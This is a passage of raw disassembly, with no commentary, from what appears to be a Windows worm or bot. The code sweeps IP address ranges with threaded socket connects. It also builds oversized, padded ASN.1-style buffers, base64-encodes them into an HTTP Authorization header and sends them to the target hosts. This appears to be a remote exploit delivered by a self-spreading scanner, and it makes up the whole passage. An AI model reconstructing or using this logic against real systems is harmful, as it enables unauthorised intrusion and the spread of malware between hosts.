sub_40C92C+7Bo ; sub_40CA1D+7Bo var_BC = dword ptr -0BCh var_B8 = byte ptr -0B8h var_38 = dword ptr -38h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0BCh mov eax, [ebp+arg_0] push esi push edi push 2Bh pop ecx mov esi, eax lea edi, [ebp+var_BC] push 1 rep movsd pop esi mov [eax+0A8h], esi push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41BF70 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_38] call dword_4CB9D4 ; htons mov [ebp+var_E], ax mov eax, [ebp+var_28] push 6 push esi push 2 mov [ebp+var_C], eax call dword_4CBA54 ; socket mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40C91D lea eax, [ebp+var_10] push 10h push eax push esi call dword_4CB97C ; connect mov ecx, [ebp+var_2C] imul ecx, 234h cmp eax, 0FFFFFFFFh mov dword_43E91C[ecx], esi jz short loc_40C91D push [ebp+var_38] push [ebp+var_28] call dword_4CBA60 ; inet_ntoa push eax mov edi, offset dword_4CE4E4 push offset unk_431F7C push edi call sub_41C266 push 0 lea eax, [ebp+var_B8] push [ebp+var_20] push edi push eax push [ebp+var_BC] call sub_409869 push edi call sub_415D38 add esp, 28h loc_40C91D: ; CODE XREF: sub_40C85F+5Dj ; sub_40C85F+7Ej push esi call dword_4CBA6C ; closesocket pop edi xor eax, eax pop esi leave retn 4 sub_40C85F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_40C92C proc near ; DATA XREF: sub_401ACD+5F60o var_134 = byte ptr -134h var_B4 = byte ptr -0B4h var_30 = dword ptr -30h var_24 = dword ptr -24h var_20 = dword ptr -20h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 134h push ebx mov ebx, [ebp+arg_0] push esi push edi push 2Bh mov esi, ebx pop ecx lea edi, [ebp+var_B4] rep movsd mov esi, dword_427080 mov dword ptr [ebx+0A4h], 1 xor edi, edi loc_40C95A: ; CODE XREF: sub_40C92C+ECj push [ebp+var_30] push [ebp+var_20] call dword_4CBA60 ; inet_ntoa push eax lea eax, [ebp+var_134] push offset unk_431FA4 push eax call sub_41C266 lea eax, [ebp+var_134] push 1FFh push eax mov eax, [ebp+var_24] imul eax, 234h add eax, offset dword_43E710 push eax call sub_41BFD0 add esp, 1Ch lea eax, [ebp+var_8] push eax lea eax, [ebp+var_B4] push edi push eax push offset sub_40C85F push edi push edi call dword_427084 ; CreateThread cmp eax, edi mov [ebp+var_4], eax jz short loc_40C9C6 loc_40C9BB: ; CODE XREF: sub_40C92C+98j cmp [ebp+var_C], edi jnz short loc_40C9C6 push 32h call esi ; Sleep jmp short loc_40C9BB ; --------------------------------------------------------------------------- loc_40C9C6: ; CODE XREF: sub_40C92C+8Dj ; sub_40C92C+92j push [ebp+var_4] call dword_427070 ; CloseHandle push dword ptr [ebx+8Ch] mov [ebx+0A8h], edi call esi ; Sleep lea eax, [ebp+var_20] push 4 push eax lea eax, [ebp+arg_0] push eax call sub_41CD20 add esp, 0Ch push [ebp+arg_0] call dword_4CB8FC ; htonl inc eax push eax mov [ebp+arg_0], eax call dword_4CB9D0 ; htonl mov [ebp+arg_0], eax lea eax, [ebp+arg_0] push 4 push eax lea eax, [ebp+var_20] push eax call sub_41CD20 add esp, 0Ch jmp loc_40C95A sub_40C92C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CA1D proc near ; DATA XREF: sub_401ACD+5C80o var_130 = byte ptr -130h var_B0 = dword ptr -0B0h var_AC = byte ptr -0ACh var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_14 = dword ptr -14h var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 130h push ebx mov ebx, [ebp+arg_0] push esi push edi push 2Bh mov esi, ebx pop ecx lea edi, [ebp+var_B0] rep movsd mov esi, dword_427080 mov dword ptr [ebx+0A4h], 1 xor edi, edi loc_40CA4B: ; CODE XREF: sub_40CA1D+BCj push [ebp+var_2C] push [ebp+var_1C] call dword_4CBA60 ; inet_ntoa push eax lea eax, [ebp+var_130] push offset unk_431FF8 push eax call sub_41C266 lea eax, [ebp+var_130] push 1FFh push eax mov eax, [ebp+var_20] imul eax, 234h add eax, offset dword_43E710 push eax call sub_41BFD0 add esp, 1Ch lea eax, [ebp+var_4] push eax lea eax, [ebp+var_B0] push edi push eax push offset sub_40C85F push edi push edi call dword_427084 ; CreateThread cmp eax, edi mov [ebp+arg_0], eax jz short loc_40CAB7 loc_40CAAC: ; CODE XREF: sub_40CA1D+98j cmp [ebp+var_8], edi jnz short loc_40CAB7 push 32h call esi ; Sleep jmp short loc_40CAAC ; --------------------------------------------------------------------------- loc_40CAB7: ; CODE XREF: sub_40CA1D+8Dj ; sub_40CA1D+92j push [ebp+arg_0] call dword_427070 ; CloseHandle push dword ptr [ebx+8Ch] mov [ebx+0A8h], edi call esi ; Sleep mov eax, [ebp+var_2C] cmp eax, [ebp+var_28] jz short loc_40CADE inc [ebp+var_2C] jmp loc_40CA4B ; --------------------------------------------------------------------------- loc_40CADE: ; CODE XREF: sub_40CA1D+B7j push [ebp+var_1C] call dword_4CBA60 ; inet_ntoa push eax lea eax, [ebp+var_130] push offset unk_431FCC push eax call sub_41C266 push edi lea eax, [ebp+var_130] push [ebp+var_14] push eax lea eax, [ebp+var_AC] push eax push [ebp+var_B0] call sub_409869 push [ebp+var_20] call sub_40B6D6 add esp, 24h xor eax, eax pop edi pop esi pop ebx leave retn 4 sub_40CA1D endp ; =============== S U B R O U T I N E ======================================= sub_40CB2A proc near ; CODE XREF: sub_40CD9E+Ep ; sub_40CD9E+33p ... mov eax, ecx and dword ptr [eax+4], 0 and dword ptr [eax], 0 retn sub_40CB2A endp ; =============== S U B R O U T I N E ======================================= sub_40CB34 proc near ; CODE XREF: sub_40CD9E+11Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_4] push esi push edi mov esi, ecx push ebx call sub_41BEB5 mov edi, eax pop ecx test edi, edi jz short loc_40CB66 push ebx push 0 push edi call sub_41BF70 push ebx push [esp+1Ch+arg_0] push edi call sub_41CD20 add esp, 18h mov [esi+4], ebx mov [esi], edi loc_40CB66: ; CODE XREF: sub_40CB34+14j mov eax, esi pop edi pop esi pop ebx retn 8 sub_40CB34 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CB6E proc near ; CODE XREF: sub_40CC68+18p ; sub_40CCE2+16p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx mov ebx, ecx push esi mov ecx, [ebp+arg_C] push edi lea edi, [eax+ecx] push edi call sub_41BEB5 mov esi, eax pop ecx test esi, esi jz short loc_40CBBA push edi push 0 push esi call sub_41BF70 push [ebp+arg_4] push [ebp+arg_0] push esi call sub_41CD20 push [ebp+arg_C] mov eax, [ebp+arg_4] add eax, esi push [ebp+arg_8] push eax call sub_41CD20 add esp, 24h mov [ebx+4], edi mov [ebx], esi loc_40CBBA: ; CODE XREF: sub_40CB6E+1Cj pop edi mov eax, ebx pop esi pop ebx pop ebp retn 10h sub_40CB6E endp ; =============== S U B R O U T I N E ======================================= sub_40CBC3 proc near ; CODE XREF: sub_40CC68+5Ep ; sub_40CC68+6Fp ... push esi mov esi, ecx mov eax, [esi] test eax, eax jz short loc_40CBD3 push eax call sub_41BA91 pop ecx loc_40CBD3: ; CODE XREF: sub_40CBC3+7j and dword ptr [esi+4], 0 and dword ptr [esi], 0 pop esi retn sub_40CBC3 endp ; =============== S U B R O U T I N E ======================================= sub_40CBDC proc near ; CODE XREF: sub_40CC68+20p ; sub_40CD43+8p ... push ebx push esi mov esi, ecx push edi mov eax, [esi+4] cmp eax, 0FFFFh jge short loc_40CC09 xor ebx, ebx cmp eax, 7Fh setnl bl dec ebx and ebx, 0FFFFFFFEh add ebx, 3 add eax, ebx push eax call sub_41BEB5 mov edi, eax pop ecx test edi, edi jnz short loc_40CC0D loc_40CC09: ; CODE XREF: sub_40CBDC+Dj xor al, al jmp short loc_40CC64 ; --------------------------------------------------------------------------- loc_40CC0D: ; CODE XREF: sub_40CBDC+2Bj mov eax, ebx add eax, [esi+4] push eax push 0 push edi call sub_41BF70 add esp, 0Ch cmp ebx, 1 jnz short loc_40CC32 mov al, [esi+4] mov [edi], al push dword ptr [esi+4] lea eax, [edi+1] push dword ptr [esi] jmp short loc_40CC4C ; --------------------------------------------------------------------------- loc_40CC32: ; CODE XREF: sub_40CBDC+45j mov byte ptr [edi], 82h mov eax, [esi+4] sar eax, 8 mov [edi+1], al mov al, [esi+4] mov [edi+2], al push dword ptr [esi+4] lea eax, [edi+3] push dword ptr [esi] loc_40CC4C: ; CODE XREF: sub_40CBDC+54j push eax call sub_41CD20 add esp, 0Ch push dword ptr [esi] call sub_41BA91 add [esi+4], ebx pop ecx mov [esi], edi mov al, 1 loc_40CC64: ; CODE XREF: sub_40CBDC+2Fj pop edi pop esi pop ebx retn sub_40CBDC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CC68 proc near ; CODE XREF: sub_40CD9E+89p ; sub_40CD9E+E3p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push edi lea ecx, [ebp+var_8] push dword ptr [esi+4] push dword ptr [esi] push 1 push offset word_4CB88C call sub_40CB6E lea ecx, [ebp+var_8] call sub_40CBDC mov eax, [ebp+var_4] inc eax push eax call sub_41BEB5 mov edi, eax pop ecx test edi, edi jnz short loc_40CCA2 xor al, al jmp short loc_40CCDE ; --------------------------------------------------------------------------- loc_40CCA2: ; CODE XREF: sub_40CC68+34j mov eax, [ebp+var_4] inc eax push eax push 0 push edi call sub_41BF70 mov byte ptr [edi], 3 push [ebp+var_4] lea eax, [edi+1] push [ebp+var_8] push eax call sub_41CD20 add esp, 18h mov ecx, esi call sub_40CBC3 mov eax, [ebp+var_4] lea ecx, [ebp+var_8] inc eax mov [esi], edi mov [esi+4], eax call sub_40CBC3 mov al, 1 loc_40CCDE: ; CODE XREF: sub_40CC68+38j pop edi pop esi leave retn sub_40CC68 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CCE2 proc near ; CODE XREF: sub_40CD16+14p ; sub_40CD33+8p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push [ebp+arg_4] lea ecx, [ebp+var_8] push [ebp+arg_0] push dword ptr [esi+4] push dword ptr [esi] call sub_40CB6E mov ecx, esi call sub_40CBC3 mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 pop esi leave retn 8 sub_40CCE2 endp ; =============== S U B R O U T I N E ======================================= sub_40CD16 proc near ; CODE XREF: sub_40CD9E+F0p ; sub_40CD9E+15Bp ... arg_0 = dword ptr 4 push esi mov esi, ecx push [esp+4+arg_0] call sub_41B9C0 pop ecx push eax mov ecx, esi push [esp+8+arg_0] call sub_40CCE2 pop esi retn 4 sub_40CD16 endp ; =============== S U B R O U T I N E ======================================= sub_40CD33 proc near ; CODE XREF: sub_40CD7F+Bp ; sub_40CD9E+1A1p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_40CCE2 retn 8 sub_40CD33 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CD43 proc near ; CODE XREF: sub_40CD7F+16p ; sub_40CD9E+91p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx call sub_40CBDC test al, al jz short loc_40CD7C push dword ptr [esi+4] lea ecx, [ebp+var_8] push dword ptr [esi] push 1 push offset dword_42CC80 call sub_40CB6E mov ecx, esi call sub_40CBC3 mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 loc_40CD7C: ; CODE XREF: sub_40CD43+Fj pop esi leave retn sub_40CD43 endp ; =============== S U B R O U T I N E ======================================= sub_40CD7F proc near ; CODE XREF: sub_40CD9E+134p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, ecx push [esp+4+arg_4] push [esp+8+arg_0] call sub_40CD33 test al, al jz short loc_40CD9A mov ecx, esi call sub_40CD43 loc_40CD9A: ; CODE XREF: sub_40CD7F+12j pop esi retn 8 sub_40CD7F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CD9E proc near ; CODE XREF: .packed:0040D625p var_858 = byte ptr -858h var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 858h push ebx push edi lea ecx, [ebp+var_48] call sub_40CB2A mov edi, 408h cmp [ebp+arg_8], edi jg loc_40D0F2 mov ebx, [ebp+arg_10] lea eax, [ebx+8] cmp eax, edi ja loc_40D0F2 push esi lea ecx, [ebp+var_30] call sub_40CB2A lea ecx, [ebp+var_20] call sub_40CB2A lea ecx, [ebp+var_50] call sub_40CB2A lea ecx, [ebp+var_18] call sub_40CB2A lea ecx, [ebp+var_40] call sub_40CB2A lea ecx, [ebp+var_38] call sub_40CB2A lea ecx, [ebp+var_28] call sub_40CB2A push 4 push offset dword_432030 lea ecx, [ebp+var_30] call sub_40CCE2 push 3 push offset dword_432038 lea ecx, [ebp+var_30] call sub_40CCE2 lea ecx, [ebp+var_30] call sub_40CC68 lea ecx, [ebp+var_30] call sub_40CD43 mov esi, 800h lea eax, [ebp+var_858] push esi push 42h push eax call sub_41BF70 add esp, 0Ch lea ecx, [ebp+var_20] push 8 push offset aRbrbrbrb ; "BBBB" call sub_40CCE2 push ebx lea ecx, [ebp+var_20] push [ebp+arg_C] call sub_40CCE2 mov eax, 409h lea ecx, [ebp+var_20] sub eax, [ebp+var_1C] push eax lea eax, [ebp+var_858] push eax call sub_40CCE2 lea ecx, [ebp+var_20] call sub_40CC68 push offset loc_4323B4 lea ecx, [ebp+var_50] call sub_40CD16 lea ecx, [ebp+var_50] call sub_40CC68 push esi lea eax, [ebp+var_858] push 44h push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_58] push 410h push eax call sub_40CB34 lea ecx, [ebp+var_58] call sub_40CC68 push [ebp+var_54] lea ecx, [ebp+var_50] push [ebp+var_58] call sub_40CD7F lea ecx, [ebp+var_58] call sub_40CBC3 push esi lea eax, [ebp+var_858] push 43h push eax call sub_41BF70 add esp, 0Ch push offset aCccc ; "CCCC" lea ecx, [ebp+var_18] call sub_40CD16 push 4 push offset dword_43203C lea ecx, [ebp+var_18] call sub_40CCE2 push [ebp+arg_8] lea ecx, [ebp+var_18] push [ebp+arg_4] call sub_40CCE2 sub edi, [ebp+arg_8] lea eax, [ebp+var_858] lea ecx, [ebp+var_18] push edi push eax call sub_40CCE2 lea ecx, [ebp+var_18] call sub_40CC68 push [ebp+var_14] lea ecx, [ebp+var_40] push [ebp+var_18] call sub_40CD33 push [ebp+var_4C] lea ecx, [ebp+var_40] push [ebp+var_50] call sub_40CD33 lea ecx, [ebp+var_40] call sub_40CD43 lea ecx, [ebp+var_18] call sub_40CBC3 lea ecx, [ebp+var_50] call sub_40CBC3 push [ebp+var_1C] lea ecx, [ebp+var_38] push [ebp+var_20] call sub_40CD33 push [ebp+var_2C] lea ecx, [ebp+var_38] push [ebp+var_30] call sub_40CD33 push [ebp+var_3C] lea ecx, [ebp+var_38] push [ebp+var_40] call sub_40CD33 lea ecx, [ebp+var_38] call sub_40CD43 lea ecx, [ebp+var_20] call sub_40CBC3 lea ecx, [ebp+var_30] call sub_40CBC3 lea ecx, [ebp+var_40] call sub_40CBC3 push esi lea eax, [ebp+var_858] push 41h push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_28] push 400h push eax call sub_40CCE2 lea ecx, [ebp+var_28] call sub_40CC68 push 2 push offset dword_4323A8 lea ecx, [ebp+var_28] call sub_40CCE2 push [ebp+var_34] lea ecx, [ebp+var_28] push [ebp+var_38] call sub_40CD33 lea ecx, [ebp+var_28] call sub_40CD43 lea ecx, [ebp+var_38] call sub_40CBC3 lea ecx, [ebp+var_10] call sub_40CB2A lea ecx, [ebp+var_8] call sub_40CB2A push [ebp+var_24] lea ecx, [ebp+var_10] push [ebp+var_28] call sub_40CD33 lea ecx, [ebp+var_10] call sub_40CBDC lea ecx, [ebp+var_28] call sub_40CBC3 push offset dword_4323A4 lea ecx, [ebp+var_8] call sub_40CD16 push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_40CD33 lea ecx, [ebp+var_8] call sub_40CBDC lea ecx, [ebp+var_10] call sub_40CBC3 push offset dword_4323A0 lea ecx, [ebp+var_10] call sub_40CD16 push [ebp+var_4] lea ecx, [ebp+var_10] push [ebp+var_8] call sub_40CD33 lea ecx, [ebp+var_10] call sub_40CBDC lea ecx, [ebp+var_8] call sub_40CBC3 push offset dword_432394 lea ecx, [ebp+var_8] call sub_40CD16 push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_40CD33 lea ecx, [ebp+var_8] call sub_40CBDC lea ecx, [ebp+var_10] call sub_40CBC3 push (offset loc_43238F+1) lea ecx, [ebp+var_48] call sub_40CD16 push [ebp+var_4] lea ecx, [ebp+var_48] push [ebp+var_8] call sub_40CD33 lea ecx, [ebp+var_8] call sub_40CBC3 mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] pop esi mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx jmp short loc_40D100 ; --------------------------------------------------------------------------- loc_40D0F2: ; CODE XREF: sub_40CD9E+1Bj ; sub_40CD9E+29j mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx loc_40D100: ; CODE XREF: sub_40CD9E+352j pop edi pop ebx leave retn sub_40CD9E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D104 proc near ; CODE XREF: sub_40D1C8+A1p ; sub_40D1C8+C2p ... var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push esi push edi mov esi, [ebp+arg_0] push 1 pop edi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_210] and [ebp+var_4], 0 push eax lea eax, [ebp+var_10C] push 0 push eax lea eax, [esi+1] push eax mov [ebp+var_108], esi mov [ebp+var_10C], edi mov [ebp+var_20C], esi mov [ebp+var_210], edi mov [ebp+var_8], 0Ah call dword_42720C ; select cmp eax, edi jnz short loc_40D16B lea eax, [ebp+var_10C] push eax push esi call sub_426350 ; __WSAFDIsSet test eax, eax jnz short loc_40D16F loc_40D16B: ; CODE XREF: sub_40D104+54j xor eax, eax jmp short loc_40D17F ; --------------------------------------------------------------------------- loc_40D16F: ; CODE XREF: sub_40D104+65j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call dword_4CB9EC ; recv loc_40D17F: ; CODE XREF: sub_40D104+69j pop edi pop esi leave retn sub_40D104 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D183 proc near ; CODE XREF: sub_40D1C8+81p ; sub_40D1C8+ABp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push [ebp+arg_8] call dword_4CB9D0 ; htonl mov [ebp+var_4], eax push 0 lea eax, [ebp+var_4] push 4 push eax push [ebp+arg_0] call dword_4CBA24 ; send cmp eax, 4 jz short loc_40D1AD xor al, al leave retn ; --------------------------------------------------------------------------- loc_40D1AD: ; CODE XREF: sub_40D183+24j push 0 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_4CBA24 ; send sub eax, [ebp+arg_8] neg eax sbb eax, eax inc eax leave retn sub_40D183 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D1C8 proc near ; CODE XREF: sub_40D2A2+48p ; .packed:0040D716p var_104 = byte ptr -104h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 104h push ebx push esi push edi mov edi, [ebp+arg_8] lea ebx, [edi+41h] push ebx mov [ebp+var_4], ebx call sub_41BEB5 mov esi, eax pop ecx test esi, esi jnz short loc_40D1F1 xor al, al jmp loc_40D29D ; --------------------------------------------------------------------------- loc_40D1F1: ; CODE XREF: sub_40D1C8+20j push ebx push 0 push esi call sub_41BF70 push 2Fh push offset dword_4320CC push esi call sub_41CD20 push 8 lea eax, [esi+31h] push offset dword_4320FC push eax mov [esi+2Fh], di call sub_41CD20 push edi lea ebx, [esi+3Bh] push [ebp+arg_4] mov [esi+39h], di push ebx call sub_41CD20 push 6 add ebx, edi push offset dword_4CE6EC push ebx call sub_41CD20 mov ebx, [ebp+arg_0] push 85h push offset dword_432044 push ebx call sub_40D183 add esp, 48h test al, al jnz short loc_40D259 loc_40D255: ; CODE XREF: sub_40D1C8+B5j xor bl, bl jmp short loc_40D294 ; --------------------------------------------------------------------------- loc_40D259: ; CODE XREF: sub_40D1C8+8Bj mov edi, 100h push 0 lea eax, [ebp+var_104] push edi push eax push ebx call sub_40D104 push [ebp+var_4] push esi push ebx call sub_40D183 add esp, 1Ch test al, al jz short loc_40D255 push 0 lea eax, [ebp+var_104] push edi push eax push ebx call sub_40D104 add esp, 10h mov bl, 1 loc_40D294: ; CODE XREF: sub_40D1C8+8Fj push esi call sub_41BA91 pop ecx mov al, bl loc_40D29D: ; CODE XREF: sub_40D1C8+24j pop edi pop esi pop ebx leave retn sub_40D1C8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D2A2 proc near ; CODE XREF: .packed:0040D6FCp var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push 0 push 48h push offset unk_432108 push [ebp+arg_0] call dword_427208 ; send cmp eax, 48h jnz short loc_40D2DD push 0 lea eax, [ebp+var_20] push 20h push eax push [ebp+arg_0] call sub_40D104 add esp, 10h cmp eax, 0FFFFFFFFh jz short loc_40D2DD cmp [ebp+var_20], 82h jz short loc_40D2E1 loc_40D2DD: ; CODE XREF: sub_40D2A2+1Bj ; sub_40D2A2+33j xor al, al leave retn ; --------------------------------------------------------------------------- loc_40D2E1: ; CODE XREF: sub_40D2A2+39j push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_40D1C8 add esp, 0Ch leave retn sub_40D2A2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D2F4 proc near ; CODE XREF: sub_40D340+2Dp var_10 = qword ptr -10h var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_0] and dword ptr [ebp+var_8+4], 0 shl eax, 3 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] fmul dbl_427670 call sub_41D174 and dword ptr [ebp+var_8+4], 0 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] push ecx push ecx ; double fst [ebp+var_8] fmul dbl_427668 fstp [esp+10h+var_10] call sub_41D055 fadd st, st pop ecx pop ecx fadd [ebp+var_8] call sub_41D174 inc eax leave retn sub_40D2F4 endp ; =============== S U B R O U T I N E ======================================= sub_40D340 proc near ; CODE XREF: sub_40D4E2+24p var_40 = qword ptr -40h mov eax, offset loc_426AA7 call sub_41D640 sub esp, 2Ch mov al, [ebp+13h] push ebx push esi push edi xor edi, edi lea ecx, [ebp-38h] push edi mov [ebp-20h], edi mov [ebp-38h], al call sub_40D977 push 1 pop ebx push dword ptr [ebp+10h] mov [ebp-4], ebx call sub_40D2F4 cmp [ebp-2Ch], eax pop ecx jnb short loc_40D382 push edi push eax lea ecx, [ebp-38h] call sub_40D8F2 loc_40D382: ; CODE XREF: sub_40D340+36j cmp [ebp+10h], edi mov [ebp-18h], edi jbe loc_40D49F mov ebx, [ebp+10h] loc_40D391: ; CODE XREF: sub_40D340+156j cmp dword ptr [ebp+10h], 3 jb short loc_40D39B push 3 jmp short loc_40D3AD ; --------------------------------------------------------------------------- loc_40D39B: ; CODE XREF: sub_40D340+55j cmp dword ptr [ebp+10h], 2 jnz short loc_40D3A5 push 2 jmp short loc_40D3AD ; --------------------------------------------------------------------------- loc_40D3A5: ; CODE XREF: sub_40D340+5Fj cmp dword ptr [ebp+10h], 1 jnz short loc_40D3AE push 1 loc_40D3AD: ; CODE XREF: sub_40D340+59j ; sub_40D340+63j pop ebx loc_40D3AE: ; CODE XREF: sub_40D340+69j mov [ebp-28h], ebx mov [ebp-24h], edi fild qword ptr [ebp-28h] push ecx push ecx ; double fmul dbl_427680 fstp [esp+40h+var_40] call sub_41D19B pop ecx pop ecx call sub_41D174 cmp ebx, edi mov [ebp-1Ch], eax jbe short loc_40D3ED mov esi, [ebp+0Ch] mov ecx, ebx mov edx, ecx lea edi, [ebp-10h] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb xor edi, edi loc_40D3ED: ; CODE XREF: sub_40D340+93j mov cl, [ebp-10h] mov dl, [ebp-10h] sar cl, 2 and cl, 3Fh and dl, 3 mov [ebp-14h], cl mov cl, [ebp-0Fh] sar cl, 4 and cl, 0Fh add [ebp+0Ch], ebx shl dl, 4 add cl, dl mov dl, [ebp-0Fh] mov [ebp-13h], cl mov cl, [ebp-0Eh] sar cl, 6 and dl, 0Fh sub [ebp+10h], ebx and cl, 3 xor esi, esi shl dl, 2 add cl, dl mov [ebp-12h], cl mov cl, [ebp-0Eh] and cl, 3Fh cmp eax, edi mov [ebp-11h], cl jbe short loc_40D45B add [ebp-18h], eax loc_40D43F: ; CODE XREF: sub_40D340+119j movsx eax, byte ptr [ebp+esi-14h] lea ecx, [ebp-38h] mov al, byte_432154[eax] push eax push 1 call sub_40D774 inc esi cmp esi, [ebp-1Ch] jb short loc_40D43F loc_40D45B: ; CODE XREF: sub_40D340+FAj cmp dword ptr [ebp-18h], 48h jb short loc_40D479 push dword ptr [ebp+14h] call sub_41B9C0 pop ecx push eax lea ecx, [ebp-38h] push dword ptr [ebp+14h] call sub_40D7CD mov [ebp-18h], edi loc_40D479: ; CODE XREF: sub_40D340+11Fj push 4 pop esi cmp [ebp-1Ch], esi jnb short loc_40D493 sub esi, [ebp-1Ch] loc_40D484: ; CODE XREF: sub_40D340+151j push 3Dh push 1 lea ecx, [ebp-38h] call sub_40D774 dec esi jnz short loc_40D484 loc_40D493: ; CODE XREF: sub_40D340+13Fj cmp [ebp+10h], edi ja loc_40D391 push 1 pop ebx loc_40D49F: ; CODE XREF: sub_40D340+48j mov esi, [ebp+8] mov al, [ebp-38h] push edi mov ecx, esi mov [esi], al call sub_40D977 push dword_427678 lea eax, [ebp-38h] mov ecx, esi push edi push eax call sub_40D824 mov [ebp-20h], ebx and byte ptr [ebp-4], 0 push ebx lea ecx, [ebp-38h] call sub_40D977 mov ecx, [ebp-0Ch] mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx leave retn sub_40D340 endp ; =============== S U B R O U T I N E ======================================= sub_40D4E2 proc near ; CODE XREF: .packed:0040D6DFp mov eax, offset loc_426AC4 call sub_41D640 sub esp, 10h push ebx push esi push edi push offset byte_43DB88 lea eax, [ebp-1Ch] push dword ptr [ebp+10h] xor ebx, ebx mov [ebp-4], ebx push dword ptr [ebp+0Ch] push eax call sub_40D340 mov eax, [ebp+1Ch] mov ecx, [ebp-14h] mov byte ptr [ebp-4], 1 lea esi, [ecx+eax+36h] push esi call sub_41BEB5 mov edi, eax add esp, 14h cmp edi, ebx jnz short loc_40D52C xor bl, bl jmp short loc_40D570 ; --------------------------------------------------------------------------- loc_40D52C: ; CODE XREF: sub_40D4E2+44j mov ecx, [ebp-18h] mov eax, offset dword_427688 cmp ecx, ebx jnz short loc_40D53A mov ecx, eax loc_40D53A: ; CODE XREF: sub_40D4E2+54j cmp [ebp+18h], ebx jz short loc_40D542 mov eax, [ebp+18h] loc_40D542: ; CODE XREF: sub_40D4E2+5Bj push ecx push eax push offset aGetHttp1_0Host ; "GET / HTTP/1.0\r\nHost: %s\r\nAuthorization"... push esi push edi call sub_41C360 add esp, 14h push ebx push esi push edi push dword 